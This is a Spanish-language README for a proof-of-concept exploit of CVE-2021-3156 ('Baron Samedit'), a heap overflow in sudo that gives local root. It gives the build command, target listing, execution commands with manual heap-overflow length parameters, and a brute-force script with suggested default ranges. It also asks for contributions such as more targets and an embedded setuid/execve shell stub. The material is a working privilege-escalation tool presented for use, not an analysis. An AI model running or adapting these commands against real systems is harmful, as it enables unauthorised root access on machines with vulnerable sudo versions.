PoC de CVE-2021-3156

Introducción

Este es un exploit para la vulnerabilidad CVE-2021-3156 de sudo (denominada Baron Samedit por Qualys).

Uso

compilar:

$ make

listar objetivos:

$ ./sudo-hax-me-a-sandwich

ejecutar:

$ ./sudo-hax-me-a-sandwich <target_number>

modo manual:

$ ./sudo-hax-me-a-sandwich <smash_len_a> <smash_len_b> <null_stomp_len> <lc_all_len>

Búsqueda de objetivos por fuerza bruta (experimental)

Asegúrate de tener GNU parallel instalado.

$ make brute
$ ./brute.sh <smash_start> <smash_end> <null_start> <null_end> <lc_start> <lc_end>

algunos valores predeterminados para probar:

$ ./brute.sh 90 120 50 70 150 300

Consumirá todos los núcleos disponibles. No intentes ver Netflix y usar fuerza bruta a la vez.

Contribuciones

Envía PRs (sensatos), podría fusionarlos.

Algunas ideas:

• Más objetivos
• Búsqueda de objetivos
• Otras estrategias de explotación
• Más funcionalidad autocontenida:
  • Incrustar la biblioteca compartida hax.c (Hazla pequeña, por favor: ELF golf + stub asm setuid/execve)
  • Añadir lógica mkdir a hax.c
• Limpieza de directorio/biblioteca compartida